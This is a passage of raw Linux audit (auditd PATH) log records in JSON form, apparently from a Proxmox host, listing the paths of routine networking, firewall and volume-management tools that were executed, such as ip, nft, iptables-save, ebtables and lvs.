inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725834,"@rawstring":"node=pve type=PATH msg=audit(1781964725.834:62315): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725828,"@rawstring":"node=pve type=PATH msg=audit(1781964725.828:62314): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725828,"@rawstring":"node=pve type=PATH msg=audit(1781964725.828:62314): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725429,"@rawstring":"node=pve type=PATH msg=audit(1781964725.429:62313): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725429,"@rawstring":"node=pve type=PATH msg=audit(1781964725.429:62313): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725429,"@rawstring":"node=pve type=PATH msg=audit(1781964725.429:62312): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725429,"@rawstring":"node=pve type=PATH msg=audit(1781964725.429:62311): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725417,"@rawstring":"node=pve type=PATH msg=audit(1781964725.417:62310): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725417,"@rawstring":"node=pve type=PATH msg=audit(1781964725.417:62310): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725417,"@rawstring":"node=pve type=PATH msg=audit(1781964725.417:62309): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725417,"@rawstring":"node=pve type=PATH msg=audit(1781964725.417:62308): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964724196,"@rawstring":"node=pve type=PATH msg=audit(1781964724.196:62307): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964724196,"@rawstring":"node=pve type=PATH msg=audit(1781964724.196:62307): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964724172,"@rawstring":"node=pve type=PATH msg=audit(1781964724.172:62306): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964724172,"@rawstring":"node=pve type=PATH msg=audit(1781964724.172:62306): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964720403,"@rawstring":"node=pve type=PATH msg=audit(1781964720.403:62305): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964720403,"@rawstring":"node=pve type=PATH msg=audit(1781964720.403:62305): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964720403,"@rawstring":"node=pve type=PATH msg=audit(1781964720.403:62304): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964720403,"@rawstring":"node=pve type=PATH msg=audit(1781964720.403:62303): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964720397,"@rawstring":"node=pve type=PATH msg=audit(1781964720.397:62302): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964720397,"@rawstring":"node=pve type=PATH msg=audit(1781964720.397:62302): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964720397,"@rawstring":"node=pve type=PATH msg=audit(1781964720.397:62301): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964720397,"@rawstring":"node=pve type=PATH msg=audit(1781964720.397:62300): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715816,"@rawstring":"node=pve type=PATH msg=audit(1781964715.816:62299): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715816,"@rawstring":"node=pve type=PATH msg=audit(1781964715.816:62299): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715813,"@rawstring":"node=pve type=PATH msg=audit(1781964715.813:62298): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715813,"@rawstring":"node=pve type=PATH msg=audit(1781964715.813:62298): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715812,"@rawstring":"node=pve type=PATH msg=audit(1781964715.812:62297): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715812,"@rawstring":"node=pve type=PATH msg=audit(1781964715.812:62297): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715812,"@rawstring":"node=pve type=PATH msg=audit(1781964715.812:62296): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715808,"@rawstring":"node=pve type=PATH msg=audit(1781964715.808:62295): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715808,"@rawstring":"node=pve type=PATH msg=audit(1781964715.808:62295): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715808,"@rawstring":"node=pve type=PATH msg=audit(1781964715.808:62295): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715802,"@rawstring":"node=pve type=PATH msg=audit(1781964715.802:62294): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715802,"@rawstring":"node=pve type=PATH msg=audit(1781964715.802:62294): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715796,"@rawstring":"node=pve type=PATH msg=audit(1781964715.796:62293): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715796,"@rawstring":"node=pve type=PATH msg=audit(1781964715.796:62293): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715789,"@rawstring":"node=pve type=PATH msg=audit(1781964715.789:62292): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715789,"@rawstring":"node=pve type=PATH msg=audit(1781964715.789:62292): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715782,"@rawstring":"node=pve type=PATH msg=audit(1781964715.782:62291): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715782,"@rawstring":"node=pve type=PATH msg=audit(1781964715.782:62291): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715777,"@rawstring":"node=pve type=PATH msg=audit(1781964715.777:62289): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715777,"@rawstring":"node=pve type=PATH msg=audit(1781964715.777:62289): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715773,"@rawstring":"node=pve type=PATH msg=audit(1781964715.773:62288): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715773,"@rawstring":"node=pve type=PATH msg=audit(1781964715.773:62288): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715768,"@rawstring":"node=pve type=PATH msg=audit(1781964715.768:62287): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715768,"@rawstring":"node=pve type=PATH msg=audit(1781964715.768:62287): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715763,"@rawstring":"node=pve type=PATH msg=audit(1781964715.763:62286): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715763,"@rawstring":"node=pve type=PATH msg=audit(1781964715.763:62286): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715758,"@rawstring":"node=pve type=PATH msg=audit(1781964715.758:62285): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715758,"@rawstring":"node=pve type=PATH msg=audit(1781964715.758:62285): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715753,"@rawstring":"node=pve type=PATH msg=audit(1781964715.753:62284): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715753,"@rawstring":"node=pve type=PATH msg=audit(1781964715.753:62284): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715747,"@rawstring":"node=pve type=PATH msg=audit(1781964715.747:62283): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715747,"@rawstring":"node=pve type=PATH msg=audit(1781964715.747:62283): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715741,"@rawstring":"node=pve type=PATH msg=audit(1781964715.741:62282): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715741,"@rawstring":"node=pve type=PATH msg=audit(1781964715.741:62282): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715738,"@rawstring":"node=pve type=PATH msg=audit(1781964715.738:62281): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715738,"@rawstring":"node=pve type=PATH msg=audit(1781964715.738:62281): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715735,"@rawstring":"node=pve type=PATH msg=audit(1781964715.735:62280): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715735,"@rawstring":"node=pve type=PATH msg=audit(1781964715.735:62280): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715735,"@rawstring":"node=pve type=PATH msg=audit(1781964715.735:62279): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715735,"@rawstring":"node=pve type=PATH msg=audit(1781964715.735:62279): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715735,"@rawstring":"node=pve type=PATH msg=audit(1781964715.735:62278): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715730,"@rawstring":"node=pve type=PATH msg=audit(1781964715.730:62277): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715730,"@rawstring":"node=pve type=PATH msg=audit(1781964715.730:62277): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715730,"@rawstring":"node=pve type=PATH msg=audit(1781964715.730:62277): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715724,"@rawstring":"node=pve type=PATH msg=audit(1781964715.724:62276): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715724,"@rawstring":"node=pve type=PATH msg=audit(1781964715.724:62276): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715718,"@rawstring":"node=pve type=PATH msg=audit(1781964715.718:62275): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715718,"@rawstring":"node=pve type=PATH msg=audit(1781964715.718:62275): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715714,"@rawstring":"node=pve type=PATH msg=audit(1781964715.714:62274): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715714,"@rawstring":"node=pve type=PATH msg=audit(1781964715.714:62274): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715707,"@rawstring":"node=pve type=PATH msg=audit(1781964715.707:62273): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715707,"@rawstring":"node=pve type=PATH msg=audit(1781964715.707:62273): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715701,"@rawstring":"node=pve type=PATH msg=audit(1781964715.701:62272): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715701,"@rawstring":"node=pve type=PATH msg=audit(1781964715.701:62272): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715388,"@rawstring":"node=pve type=PATH msg=audit(1781964715.388:62271): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715388,"@rawstring":"node=pve type=PATH msg=audit(1781964715.388:62271): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715388,"@rawstring":"node=pve type=PATH msg=audit(1781964715.388:62270): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715388,"@rawstring":"node=pve type=PATH msg=audit(1781964715.388:62269): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715381,"@rawstring":"node=pve type=PATH msg=audit(1781964715.381:62268): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715381,"@rawstring":"node=pve type=PATH msg=audit(1781964715.381:62268): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715381,"@rawstring":"node=pve type=PATH msg=audit(1781964715.381:62267): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715381,"@rawstring":"node=pve type=PATH msg=audit(1781964715.381:62266): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964714082,"@rawstring":"node=pve type=PATH msg=audit(1781964714.082:62265): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964714082,"@rawstring":"node=pve type=PATH msg=audit(1781964714.082:62265): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964714052,"@rawstring":"node=pve type=PATH msg=audit(1781964714.052:62264): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964714052,"@rawstring":"node=pve type=PATH msg=audit(1781964714.052:62264): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964710373,"@rawstring":"node=pve type=PATH msg=audit(1781964710.373:62263): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964710373,"@rawstring":"node=pve type=PATH msg=audit(1781964710.373:62263): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964710373,"@rawstring":"node=pve type=PATH msg=audit(1781964710.373:62262): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964710373,"@rawstring":"node=pve type=PATH msg=audit(1781964710.373:62261): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964710359,"@rawstring":"node=pve type=PATH msg=audit(1781964710.359:62260): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964710359,"@rawstring":"node=pve type=PATH msg=audit(1781964710.359:62260): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964710359,"@rawstring":"node=pve type=PATH msg=audit(1781964710.359:62259): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 